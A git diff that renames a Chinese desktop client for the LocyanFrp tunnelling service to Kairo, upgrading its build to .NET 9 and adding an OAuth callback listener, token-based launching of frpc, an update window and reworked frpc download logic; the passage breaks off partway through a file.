diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml index af7d8d0..4d4ef56 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -1,5 +1,5 @@ name: "BUG反馈" -description: LocyanFrp的部分行为不符合预期 +description: Kairo的部分行为不符合预期 title: "BUG反馈 <在此处简单描述>" labels: ["🐛Bug"] @@ -7,7 +7,7 @@ body: - type: input id: version attributes: - label: 当前使用的LocyanFrp版本 + label: 当前使用的Kairo版本 description: 设置 validations: required: true @@ -16,7 +16,7 @@ body: id: expectation attributes: label: 你的预期 - description: 预期LocyanFrp应该的反应 + description: 预期Kairo应该的反应 placeholder: | 1. ... validations: diff --git a/.github/ISSUE_TEMPLATE/crash_report.yml b/.github/ISSUE_TEMPLATE/crash_report.yml index 135e8d9..3e12f90 100644 --- a/.github/ISSUE_TEMPLATE/crash_report.yml +++ b/.github/ISSUE_TEMPLATE/crash_report.yml @@ -1,5 +1,5 @@ name: "崩溃反馈" -description: LocyanFrp发生了莫名其妙的崩溃 +description: Kairo发生了莫名其妙的崩溃 title: "崩溃反馈 <在此处简单描述报错信息>" labels: ["❗ 崩溃"] @@ -7,7 +7,7 @@ body: - type: input id: version attributes: - label: 当前使用的LocyanFrp版本 + label: 当前使用的Kairo版本 description: 设置 validations: required: true diff --git a/.github/workflows/Build.yml b/.github/workflows/Build.yml index c5be6c7..3d4d812 100644 --- a/.github/workflows/Build.yml +++ b/.github/workflows/Build.yml @@ -1,4 +1,4 @@ -name: Build +name: Build on: push: @@ -19,53 +19,50 @@ jobs: - name: Install .NET uses: actions/setup-dotnet@v4 with: - dotnet-version: 6.0.x + dotnet-version: 9.0.x - name: Write Build info shell: cmd run: | - cmd /c echo GITHUB ACTION #${{github.run_number}} >${{ github.workspace }}\LoCyanFrpDesktop\buildinfo.info - cmd /c echo %date% %time% >>${{ github.workspace }}\LoCyanFrpDesktop\buildinfo.info - cmd /c echo ${{github.ref}} ${{github.sha}}>>${{ github.workspace }}\LoCyanFrpDesktop\buildinfo.info + cmd /c echo GITHUB ACTION #${{github.run_number}} >${{ github.workspace }}\Kairo\buildinfo.info + cmd /c echo %date% %time% >>${{ github.workspace }}\Kairo\buildinfo.info + cmd /c echo ${{github.ref}} ${{github.sha}}>>${{ github.workspace }}\Kairo\buildinfo.info - name: DotNet restore run: dotnet restore - name: Build the project(Release) - run: dotnet build -p:Configuration=Release "LoCyanFrpDesktop/LoCyanFrpDesktop.csproj" + run: dotnet build -p:Configuration=Release "Kairo/Kairo.csproj" - - name: Build the project(Debug) - run: dotnet build "LoCyanFrpDesktop/LoCyanFrpDesktop.csproj" - - - name: Upload LocyanFrp(Release,dotnet6-windows) + - name: Upload Kairo(Release,dotnet9-windows) uses: actions/upload-artifact@v4 with: - name: LoCyanFrpDesktop_dotnet6 - path: ${{ github.workspace }}\LoCyanFrpDesktop\bin\Release\net6.0-windows + name: Kairo_dotnet9 + path: ${{ github.workspace }}\Kairo\bin\Release\net9.0-windows if-no-files-found: ignore - name: Build the project(Publish) run: | dotnet clean - dotnet publish "LoCyanFrpDesktop/LoCyanFrpDesktop.csproj" -f net6.0-windows --no-self-contained -p:PublishSingleFile=true -p:RuntimeIdentifier=win-x64 -p:IncludeContentInSingleFile=true + dotnet publish "Kairo/Kairo.csproj" -f net9.0-windows --no-self-contained -p:PublishSingleFile=true -p:RuntimeIdentifier=win-x64 -p:IncludeContentInSingleFile=true - - name: Upload LocyanFrp(Publish) + - name: Upload Kairo(Publish) uses: actions/upload-artifact@v4 with: - name: LoCyanFrpDesktop_dotnet6_publish - path: ${{ github.workspace }}\LoCyanFrpDesktop\bin\Debug\net6.0-windows\win-x64\publish + name: Kairo_dotnet9_publish + path: ${{ github.workspace }}\Kairo\bin\Debug\net9.0-windows\win-x64\publish if-no-files-found: ignore - name: Build the project(Publish,Single File) run: | dotnet clean - dotnet publish "LoCyanFrpDesktop/LoCyanFrpDesktop.csproj" -f net6.0-windows -r win-x64 -p:PublishSingleFile=true -p:RuntimeIdentifier=win-x64 -p:IncludeContentInSingleFile=true -p:Configuration=Release --sc -p:IncludeAllContentForSelfExtract=true -p:EnableCompressionInSingleFile=true + dotnet publish "Kairo/Kairo.csproj" -f net9.0-windows -r win-x64 -p:PublishSingleFile=true -p:RuntimeIdentifier=win-x64 -p:IncludeContentInSingleFile=true -p:Configuration=Release --sc -p:IncludeAllContentForSelfExtract=true -p:EnableCompressionInSingleFile=true - - name: Upload LocyanFrp(Publish,Single File) + - name: Upload Kairo(Publish,Single File) uses: actions/upload-artifact@v4 with: - name: LoCyanFrpDesktop_dotnet6_publish_SingleFile - path: ${{ github.workspace }}\LoCyanFrpDesktop\bin\Release\net6.0-windows\win-x64\publish + name: Kairo_dotnet9_publish_SingleFile + path: ${{ github.workspace }}\Kairo\bin\Release\net9.0-windows\win-x64\publish if-no-files-found: ignore diff --git a/.gitignore b/.gitignore index d0cb9b7..3490afc 100644 --- a/.gitignore +++ b/.gitignore @@ -361,4 +361,4 @@ MigrationBackup/ # Fody - auto-generated XML schema FodyWeavers.xsd -/LoCyanFrpDesktop/Output +/Kairo/Output diff --git a/.idea/.idea.Kairo/.idea/.gitignore b/.idea/.idea.Kairo/.idea/.gitignore new file mode 100644 index 0000000..879431f --- /dev/null +++ b/.idea/.idea.Kairo/.idea/.gitignore @@ -0,0 +1,13 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Rider ignored files +/modules.xml +/projectSettingsUpdater.xml +/.idea.Kairo.iml +/contentModel.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/.idea.Kairo/.idea/encodings.xml b/.idea/.idea.Kairo/.idea/encodings.xml new file mode 100644 index 0000000..df87cf9 --- /dev/null +++ b/.idea/.idea.Kairo/.idea/encodings.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/.idea/.idea.Kairo/.idea/indexLayout.xml b/.idea/.idea.Kairo/.idea/indexLayout.xml new file mode 100644 index 0000000..7b08163 --- /dev/null +++ b/.idea/.idea.Kairo/.idea/indexLayout.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/.idea.Kairo/.idea/vcs.xml b/.idea/.idea.Kairo/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/.idea.Kairo/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/LoCyanFrpDesktop-Impl.sln b/Kairo.sln similarity index 82% rename from LoCyanFrpDesktop-Impl.sln rename to Kairo.sln index 5c3bf61..4e6eaf6 100644 --- a/LoCyanFrpDesktop-Impl.sln +++ b/Kairo.sln @@ -2,12 +2,10 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.6.33829.357 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "LoCyanFrpDesktop", "LoCyanFrpDesktop\LoCyanFrpDesktop.csproj", "{D1D59A31-105D-4B83-A49D-B9F761336995}" +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Kairo", "Kairo\Kairo.csproj", "{D1D59A31-105D-4B83-A49D-B9F761336995}" EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Updater", "Updater\Updater.csproj", "{1C846730-8BC3-49D4-8786-106AF8C4D160}" EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "LoCyanFrp", "LoCyanFrp", "{0301C876-91BE-4AE9-92C9-254EBFA8B940}" -EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Tools", "Tools", "{7A9FD3C3-52EE-4162-B97A-6F7EB2F1821C}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{642C59C0-F62F-4AD8-9951-1625AED50385}" @@ -37,8 +35,6 @@ Global EndGlobalSection GlobalSection(NestedProjects) = preSolution {1C846730-8BC3-49D4-8786-106AF8C4D160} = {7A9FD3C3-52EE-4162-B97A-6F7EB2F1821C} - {7A9FD3C3-52EE-4162-B97A-6F7EB2F1821C} = {0301C876-91BE-4AE9-92C9-254EBFA8B940} - {E4C25792-97C8-4E61-B0B3-57E3ED793DC5} = {0301C876-91BE-4AE9-92C9-254EBFA8B940} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {632713F8-B531-4B56-80C3-38FD07E244FA} diff --git a/LoCyanFrpDesktop/App.config b/Kairo/App.config similarity index 76% rename from LoCyanFrpDesktop/App.config rename to Kairo/App.config index 06d0306..98cfe07 100644 --- a/LoCyanFrpDesktop/App.config +++ b/Kairo/App.config @@ -2,14 +2,14 @@ -
+
- + null @@ -28,6 +28,6 @@ False - + \ No newline at end of file diff --git a/LoCyanFrpDesktop/App.xaml b/Kairo/App.xaml similarity index 88% rename from LoCyanFrpDesktop/App.xaml rename to Kairo/App.xaml index 883dceb..924100a 100644 --- a/LoCyanFrpDesktop/App.xaml +++ b/Kairo/App.xaml @@ -1,7 +1,7 @@ - diff --git a/LoCyanFrpDesktop/App.xaml.cs b/Kairo/App.xaml.cs similarity index 54% rename from LoCyanFrpDesktop/App.xaml.cs rename to Kairo/App.xaml.cs index f544dc9..1ce0e90 100644 --- a/LoCyanFrpDesktop/App.xaml.cs +++ b/Kairo/App.xaml.cs @@ -7,12 +7,19 @@ using System.Windows; using System.Windows.Documents; using System.IO; -using LoCyanFrpDesktop.Utils; +using Kairo.Utils; using System.Windows.Threading; using System.Runtime.InteropServices; using System.Threading; +using System.Security; +using System.Runtime.ConstrainedExecution; +using System.Diagnostics; +using System.Security.Policy; +using System.Text.RegularExpressions; +using System.Text; +using Kairo.Components.OAuth; -namespace LoCyanFrpDesktop +namespace Kairo { /// /// App.xaml 的交互逻辑 @@ -20,8 +27,10 @@ namespace LoCyanFrpDesktop public partial class App : Application { - public static string? Username = null; - public static string? Password = null; + private static string? Username = null; + private static string? Password = null; + private static bool DebugMode = Global.Config.DebugMode; + public static bool TokenMode = false; [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool AllocConsole(); @@ -34,54 +43,90 @@ public partial class App : Application protected override void OnStartup(StartupEventArgs e) { - //bool openConsole = false; CrashInterception.Init(); - + ConfigManager.Init(); DispatcherUnhandledException += CurrentDomain_UnhandledException; DispatcherUnhandledException += (_, e) => CrashInterception.ShowException(e.Exception); - int UsernameNum = 0; - int PasswordNum = 0; - bool DebugMode = Global.DebugMode; - //string Username; - //string Password; + + // 处理启动参数 + string[] args = e.Args; - + OAuthCallbackHandler.Init(); + ProcessStartupParameters(args); base.OnStartup(e); - - Thread.Sleep(3000); - //MainWindow mainWindow = new(); + } + protected override void OnExit(ExitEventArgs e) + { + //Cef.Shutdown(); + base.OnExit(e); + } + private static void CurrentDomain_UnhandledException(object sender, DispatcherUnhandledExceptionEventArgs e) + { + e.Handled = true; + } + private static void ProcessStartupParameters(string[] args) + { + int UsernameNum = 0; + int PasswordNum = 0; if (args.Length > 0) - { - int i = 0; - for (int j = 0; j < args.Count(); j++) { + { + + string pattern = @"^locyanfrp://([^/]+)/(\d+)$"; + Regex regex = new Regex(pattern); + + for (int j = 0; j < args.Count(); j++) + { if (args[j] == "--user" || args[j] == "--User" || args[j] == "--Username" || args[j] == "--username") { UsernameNum = j; } - else if(args[j] == "--password" || args[j] == "--Password") + else if (args[j] == "--password" || args[j] == "--Password") { PasswordNum = j; - }else if(args[j] == "--debug") + } + else if (args[j] == "--debug") { DebugMode = true; } + else + { + string url = args[j]; + Match match = regex.Match(url); + if (match.Success) { + Console.WriteLine($"Received URL: {url}"); + string[] parsedParameters = new string[] + { + match.Groups[1].Value, + match.Groups[2].Value + }; + TokenMode = true; + DashBoard_Token dashBoard_Token = new DashBoard_Token(match.Groups[1].Value, int.Parse(match.Groups[2].Value)); + dashBoard_Token.Show(); + + } + } } int Num = UsernameNum - PasswordNum; - if (Num >= 2 && Num <= -2) { + if (Num >= 2 && Num <= -2) + { Username = args[UsernameNum + 1]; Password = args[PasswordNum + 1]; if (Password != null && Username != null) { - LoCyanFrpDesktop.Properties.Settings.Default.username = Username; - LoCyanFrpDesktop.Properties.Settings.Default.password = Password; + Global.Config.Username = Username; + foreach (char c in Password.ToCharArray()) + { + Global.Password.AppendChar(c); + } + Global.LoginedByConsole = true; } } - + if (DebugMode) { AllocConsole(); // 打开控制台 @@ -92,39 +137,18 @@ protected override void OnStartup(StartupEventArgs e) } // 解析和处理参数 // 这里可以根据参数的内容执行不同的操作 - ProcessUrlParameters(args); - for (int x = 0; x < args.Count(); x++) { + for (int x = 0; x < args.Count(); x++) + { if (x != args.Count() - 1) { Console.Write(args[x]); } - else { + else + { Console.WriteLine(args[x]); } } } - - } - private static void CurrentDomain_UnhandledException(object sender, DispatcherUnhandledExceptionEventArgs e) - { - e.Handled = true; - } - private void ProcessUrlParameters(string[] args) - { - string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); - string filePath = Path.Combine(documentsPath, "auto_launch.ini"); - - string arguments = string.Join(" ", args); - - try - { - File.WriteAllText(filePath, arguments); - } - catch (Exception ex) - { - // 处理写入文件时可能发生的异常 - MessageBox.Show("写入文件时出现错误:" + ex.Message); - } } } } diff --git a/LoCyanFrpDesktop/Utils/Download.xaml b/Kairo/Components/Download.xaml similarity index 90% rename from LoCyanFrpDesktop/Utils/Download.xaml rename to Kairo/Components/Download.xaml index b671b20..055c1a7 100644 --- a/LoCyanFrpDesktop/Utils/Download.xaml +++ b/Kairo/Components/Download.xaml @@ -1,16 +1,16 @@  /// Interaction logic for Downloader.xaml @@ -43,6 +44,7 @@ public partial class Download : UiWindow public static string DownloadPath = AppDomain.CurrentDomain.BaseDirectory; public string DownloadUnit = "KB/s"; public static string FolderName; + public static bool UsingMirror; public Download() { InitializeComponent(); @@ -155,7 +157,7 @@ private void OnDownloadFileCompleted(object? sender, AsyncCompletedEventArgs e) { Console.Error.WriteLine(e.Error); CrashInterception.ShowException(e.Error); - Logger.MsgBox("无法下载FRP, 请检查您的网络连接","LocyanFrp",0,48,1); + Logger.MsgBox("无法下载FRP, 请检查您的网络连接","Kairo",0,48,1); this.Owner = null; Close(); return; @@ -203,43 +205,12 @@ public void UnpackAndAutoSetup() { //CrashInterception.ShowException(ex); } - Properties.Settings.Default.FrpcPath = path; - var ConfigPath = Path.Combine(DownloadPath, "FrpcPath.conf"); - - if (File.Exists(ConfigPath)) - { - StreamReader sr = new StreamReader(ConfigPath); - if (string.IsNullOrEmpty(sr.ReadLine())) - { - sr.Close(); - StreamWriter sw = new StreamWriter(ConfigPath); - sw.WriteLine(path); - sw.Close(); - } - else - { - sr.Close(); - File.Delete(ConfigPath); - File.Create(ConfigPath); - StreamWriter sw = new StreamWriter(ConfigPath); - sw.WriteLine(path); - sw.Close(); - } - } - else - { - File.Create(ConfigPath); - StreamWriter sw = new StreamWriter(ConfigPath); - sw.WriteLine(path); - sw.Close(); - - } - - - + Global.Config.FrpcPath = path; + this.Owner = null; Close(); } catch (Exception ex) { + this.Owner = null; this.Close(); CrashInterception.ShowException(ex); @@ -288,10 +259,10 @@ public static async Task DownloadFile(string url,string path) } private async void StartDownload() { - var a = await RequestAPIandParse("https://api-gh.1l1.icu/repos/LoCyan-Team/LoCyanFrpPureApp/releases/latest",true); + var a = await RequestAPIandParse("https://api-gh.1l1.icu/repos/LoCyan-Team/LocyanFrpPureApp/releases/latest",true); if (!a) { - await RequestAPIandParse("https://api.github.com/repos/LoCyan-Team/LoCyanFrpPureApp/releases/latest", false); + await RequestAPIandParse("https://api.github.com/repos/LoCyan-Team/LocyanFrpPureApp/releases/latest", false); } } private static async Task RequestAPIandParse(string url,bool mirror) @@ -313,11 +284,13 @@ private static async Task RequestAPIandParse(string url,bool mirror) Match match = Regex.Match(DownloadVersion, pattern); var Version = match.Groups[1].Value; string architecture = RuntimeInformation.OSArchitecture.ToString(); - var MirrorAddress = (mirror ? "https://proxy-gh.1l1.icu/" : ""); + var MirrorAddress = (mirror ? "https://proxy-gh.1l1.icu/" : "https://proxy-gh.1l1.icu/https://github.com/LoCyan-Team/LocyanFrpPureApp/releases/download/"); + var ActualAddress = (Global.Config.UsingDownloadMirror ? "https://mirrors.locyan.cn/github-release/LoCyan-Team/LoCyanFrpPureApp/LatestRelease/" : MirrorAddress + DownloadVersion); var _architecture = (architecture == "X86" ? "386" : "amd64"); - TheFuckingLink = $"{MirrorAddress}https://github.com/LoCyan-Team/LoCyanFrpPureApp/releases/download/{DownloadVersion}/frp_LoCyanFrp-{Version}_windows_{_architecture}.zip"; + FolderName = $"frp_LoCyanFrp-{Version}_windows_{_architecture}"; + TheFuckingLink = $"{ActualAddress}{FolderName}.zip"; - FolderName = $"frp_LoCyanFrp-{Version}_windows_amd64"; + Console.WriteLine(TheFuckingLink); await DownloadFile(TheFuckingLink, DownloadPath); diff --git a/Kairo/Components/OAuth/Controllers/MainController.cs b/Kairo/Components/OAuth/Controllers/MainController.cs new file mode 100644 index 0000000..b90e195 --- /dev/null +++ b/Kairo/Components/OAuth/Controllers/MainController.cs @@ -0,0 +1,18 @@ +using Kairo.Utils; +using Microsoft.AspNetCore.Mvc; +using System; + +namespace Kairo.Components.OAuth.Controllers +{ + [ApiController] + [Route("oauth")] + public class MainController : Controller + { + [HttpGet("callback")] + public IActionResult Callback() { + Access.MainWindow.Login(Request.Query["refresh_token"]); + Console.WriteLine(Request.Query["refresh_token"]); + return Ok(); + } + } +} diff --git a/Kairo/Components/OAuth/OAuthCallbackHandler.cs b/Kairo/Components/OAuth/OAuthCallbackHandler.cs new file mode 100644 index 0000000..06cea0d --- /dev/null +++ b/Kairo/Components/OAuth/OAuthCallbackHandler.cs @@ -0,0 +1,25 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.Extensions.DependencyInjection; +using System.Threading.Tasks; + +namespace Kairo.Components.OAuth +{ + class OAuthCallbackHandler + { + public OAuthCallbackHandler() { + + } + public static void Init() + { + Task.Run(() => { + string[] a = { "--urls=http://localhost:16092" }; + WebApplicationBuilder builder = WebApplication.CreateBuilder(a); + builder.Services.AddControllers(); + WebApplication app = builder.Build(); + app.UseRouting(); + app.MapControllers(); + app.RunAsync(); + }); + } + } +} diff --git a/Kairo/Components/ProxyCreator.xaml b/Kairo/Components/ProxyCreator.xaml new file mode 100644 index 0000000..fdc94a7 --- /dev/null +++ b/Kairo/Components/ProxyCreator.xaml @@ -0,0 +1,50 @@ + + + + + + + + + + + 隧道名字 + + + + + + 隧道类型 + + TCP + UDP + HTTP + HTTPS + + + + + + + + + + + + + diff --git a/LoCyanFrpDesktop/UserCenter.xaml.cs b/Kairo/Components/ProxyCreator.xaml.cs similarity index 72% rename from LoCyanFrpDesktop/UserCenter.xaml.cs rename to Kairo/Components/ProxyCreator.xaml.cs index 8735c0b..de52c90 100644 --- a/LoCyanFrpDesktop/UserCenter.xaml.cs +++ b/Kairo/Components/ProxyCreator.xaml.cs @@ -11,15 +11,16 @@ using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Shapes; +using Wpf.Ui.Controls; -namespace LoCyanFrpDesktop +namespace Kairo.Components { /// - /// UserCenter.xaml 的交互逻辑 + /// Interaction logic for ProxyCreator.xaml /// - public partial class UserCenter : Window + public partial class ProxyCreator : UiWindow { - public UserCenter() + public ProxyCreator() { InitializeComponent(); } diff --git a/Kairo/Components/Update.xaml b/Kairo/Components/Update.xaml new file mode 100644 index 0000000..95996bb --- /dev/null +++ b/Kairo/Components/Update.xaml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Kairo/Components/Update.xaml.cs b/Kairo/Components/Update.xaml.cs new file mode 100644 index 0000000..5d0d034 --- /dev/null +++ b/Kairo/Components/Update.xaml.cs @@ -0,0 +1,43 @@ +using Kairo.Utils; +using System.Runtime.CompilerServices; +using System.Windows.Threading; +using Wpf.Ui.Controls; + +namespace Kairo.Components +{ + /// + /// Interaction logic for Window1.xaml + /// + public partial class Update : UiWindow + { + private UpdateInfo updateInfos; + public Update() + { + Access.Update = this; + InitializeComponent(); + } + public void RefreshData(UpdateInfo updateInfo) + { + updateInfos = updateInfo; + Dispatcher.Invoke(() => + { + IncomingVersion.Text = $"Ver{updateInfo.Version}-{updateInfo.Channel}.{updateInfo.Subversion}"; + foreach(string i in updateInfo.UpdatedWhat) + { + UpdateInfos.Items.Add(i); + } + + }); + + } + private void Confirm_Click(object sender, System.Windows.RoutedEventArgs e) + { + Utils.Update.DownloadUpdate(updateInfos); + } + + private void Cancel_Click(object sender, System.Windows.RoutedEventArgs e) + { + Access.Update.Close(); + } + } +} diff --git a/LoCyanFrpDesktop/DashBoard.xaml b/Kairo/DashBoard.xaml similarity index 81% rename from LoCyanFrpDesktop/DashBoard.xaml rename to Kairo/DashBoard.xaml index 09b1510..008c456 100644 --- a/LoCyanFrpDesktop/DashBoard.xaml +++ b/Kairo/DashBoard.xaml @@ -1,21 +1,21 @@ - + Icon="/Resource/favicon2.ico"> @@ -55,11 +55,17 @@ SelectedPageIndex="0"> + Content="开始" + Icon="Home24" + PageTag="Home" + PageType="{x:Type Dashboard:Home}" /> + /// DashBoard.xaml 的交互逻辑 @@ -35,18 +37,14 @@ namespace LoCyanFrpDesktop public partial class DashBoard : UiWindow { public static bool isFrpcInstalled; - //public static Snackbar Snackbar = new Snackbar(); - public static string FrpcPathConfig = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "FrpcPath.conf"); - public double originalCenterX; - public double originalCenterY; + private static SolidColorBrush DarkBrush = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + private static SolidColorBrush LightBrush = new SolidColorBrush(Color.FromRgb(250, 250, 250)); /// /// /// public DashBoard() { InitializeComponent(); - Uri iconUri = new Uri("pack://application:,,,/LoCyanFrpDesktop;component/Resource/favicon.ico", UriKind.RelativeOrAbsolute); - this.Icon = new BitmapImage(iconUri); Access.DashBoard = this; @@ -55,39 +53,9 @@ public DashBoard() public bool CheckIfFrpcInstalled() { - if (!File.Exists(FrpcPathConfig)) + if (!string.IsNullOrEmpty(Global.Config.FrpcPath)) { - File.Create(FrpcPathConfig); - bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); - if(isConfirmed) - { - DownloadFrpc(); - } - return false; - }else - { - StreamReader PathConfig = new StreamReader(FrpcPathConfig); - string line = PathConfig.ReadLine(); - PathConfig.Close(); - if (line != null) - { - if (!File.Exists(line)) - { - bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); - if (isConfirmed) - { - DownloadFrpc(); - } - return false; - } - else - { - Properties.Settings.Default.FrpcPath = line; - return true; - } - - } - else + if (!File.Exists(Global.Config.FrpcPath)) { bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); if (isConfirmed) @@ -96,22 +64,24 @@ public bool CheckIfFrpcInstalled() } return false; } - - + else + { + return true; + } + + } + else + { + bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); + if (isConfirmed) + { + DownloadFrpc(); + } + return false; } - - return false; } public void DownloadFrpc() { - //double screenWidth = SystemParameters.WorkArea.Width; - //double screenHeight = SystemParameters.WorkArea.Height; - - // 获取原窗口的中心点 - //originalCenterX = Owner.Left + Owner.Width / 2; - //originalCenterY = Owner.Top + Owner.Height / 2; - //Left = originalCenterX - Width / 2; - //Top = originalCenterY - Height / 2; Download downloader = new Download(); downloader.Owner = this; downloader.Show(); @@ -130,9 +100,7 @@ private void UiWindow_Closing(object sender, CancelEventArgs e) Hide(); } public void UiWindow_StateChanged(object sender, EventArgs e) - {/* - MaxHeight = SystemParameters.MaximizedPrimaryScreenHeight; - MaxWidth = SystemParameters.MaximizedPrimaryScreenWidth; */ + { } public void UiWindow_ContentRendered(object sender, EventArgs e) { @@ -152,10 +120,25 @@ public void Exit_Click(object sender, RoutedEventArgs e) } public void UiWindow_Loaded(object sender, EventArgs e) { - Resources["ShadowColor"] = MainWindow.DarkThemeEnabled ? Colors.White : Colors.LightGray; ; - Resources["MainBackgroundColor"] = new SolidColorBrush(MainWindow.DarkThemeEnabled ? Colors.LightGray : Colors.WhiteSmoke); + ChangeColor(); + } + public void ChangeColor() + { + Resources["ShadowColor"] = Global.isDarkThemeEnabled ? Colors.White : Colors.LightGray; + SolidColorBrush solidColorBrush = new SolidColorBrush(Global.isDarkThemeEnabled ? Colors.LightGray : Colors.WhiteSmoke); + Resources["MainBackgroundColor"] = solidColorBrush; + if (Global.isDarkThemeEnabled) + { + this.Background = DarkBrush; + Theme.Apply(ThemeType.Dark); + } + else { + this.Background = LightBrush; + Theme.Apply(ThemeType.Light); + } + //Theme.Apply(Global.isDarkThemeEnabled ? ThemeType.Dark : ThemeType.Light); + //this.Background = solidColorBrush; } - } } diff --git a/Kairo/DashBoard_Token.xaml b/Kairo/DashBoard_Token.xaml new file mode 100644 index 0000000..c10d94b --- /dev/null +++ b/Kairo/DashBoard_Token.xaml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Kairo/DashBoard_Token.xaml.cs b/Kairo/DashBoard_Token.xaml.cs new file mode 100644 index 0000000..29bc0a0 --- /dev/null +++ b/Kairo/DashBoard_Token.xaml.cs @@ -0,0 +1,185 @@ +using Kairo.Utils; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Data; +using System.Windows.Documents; +using System.Windows.Input; +using System.Windows.Media; +using System.Windows.Media.Imaging; +using System.Windows.Shapes; +using Wpf.Ui.Appearance; +using Wpf.Ui.Common; +using Wpf.Ui.Controls; +using static Kairo.Utils.PNAP; + +namespace Kairo +{ + /// + /// Interaction logic for DashBoard_Token.xaml + /// + public partial class DashBoard_Token : UiWindow + { + + public static bool isFrpcInstalled; + private static SolidColorBrush DarkBrush = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + private static SolidColorBrush LightBrush = new SolidColorBrush(Color.FromRgb(250, 250, 250)); + public DashBoard_Token(string Token, int Proxy) + { + InitializeComponent(); + if (CheckIfFrpcInstalled()) + { + RunCmdCommand($" -u {Token} -p ", Proxy); + } + + + } + private static void SortOutputHandler(object sender, DataReceivedEventArgs e) + { + if (!string.IsNullOrEmpty(e.Data)) + { + Logger.Output(LogType.Info, e.Data); + } + } + private static void RunCmdCommand(string command, int ProxyID) + { + // 创建一个 ProcessStartInfo 对象 + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = Global.Config.FrpcPath, // 指定要运行的命令行程序 + Arguments = command + ProxyID, // 使用 /k 参数保持 cmd 窗口打开,显示输出内容 + Verb = "runas", + RedirectStandardOutput = true, + RedirectStandardError = true, + UseShellExecute = false, // 设置为 true 以便在新窗口中显示命令行窗口 + CreateNoWindow = true, // 设置为 false 以显示命令行窗口 + StandardOutputEncoding = Encoding.UTF8 + }; + // 启动进程 + Process _FrpcProcess = Process.Start(psi); + _FrpcProcess.BeginOutputReadLine(); + + _FrpcProcess.OutputDataReceived += SortOutputHandler; + _FrpcProcess.EnableRaisingEvents = true; + + // 读取标准输出和标准错误输出 + //string output = process.StandardOutput.ReadToEnd(); + //string error = process.StandardError.ReadToEnd(); + + // 等待进程完成 + //process.WaitForExit(); + + // 打印输出 + //Console.WriteLine("Output:\n" + output); + //Console.WriteLine("Error:\n" + error); + + // 可以将输出存储到变量中,以便后续处理 + // string combinedOutput = output + error; + } + public bool CheckIfFrpcInstalled() + { + if (!string.IsNullOrEmpty(Global.Config.FrpcPath)) + { + if (!File.Exists(Global.Config.FrpcPath)) + { + bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); + if (isConfirmed) + { + DownloadFrpc(); + } + else + { + Environment.Exit(0); + } + return false; + } + else + { + return true; + } + + } + else + { + bool isConfirmed = Logger.MsgBox("您需要我们自动为您安装frpc吗?", "未检测到您安装的frpc", 1, 47, 1); + if (isConfirmed) + { + DownloadFrpc(); + } + else + { + Environment.Exit(0); + } + return false; + } + return false; + } + public void DownloadFrpc() + { + Download downloader = new Download(); + downloader.Owner = this; + downloader.Show(); + } + public void OpenSnackbar(string title, string message, SymbolRegular icon) + { + Dispatcher.Invoke(() => + { + Snackbar.Show(title, message, icon); + }); + } + private void UiWindow_Closing(object sender, CancelEventArgs e) + { + e.Cancel = true; + ShowInTaskbar = false; + Hide(); + } + public void UiWindow_StateChanged(object sender, EventArgs e) + { + } + public void UiWindow_ContentRendered(object sender, EventArgs e) + { + + } + public void UiWindow_IsVisibleChanged(object sender, DependencyPropertyChangedEventArgs e) + => ShowInTaskbar = IsVisible; + public void Hide_Click(object sender, RoutedEventArgs e) + { + ShowInTaskbar = false; + Hide(); + } + + public void Exit_Click(object sender, RoutedEventArgs e) + { + Environment.Exit(0); + } + public void UiWindow_Loaded(object sender, EventArgs e) + { + ChangeColor(); + } + public void ChangeColor() + { + Resources["ShadowColor"] = Global.isDarkThemeEnabled ? Colors.White : Colors.LightGray; + SolidColorBrush solidColorBrush = new SolidColorBrush(Global.isDarkThemeEnabled ? Colors.LightGray : Colors.WhiteSmoke); + Resources["MainBackgroundColor"] = solidColorBrush; + if 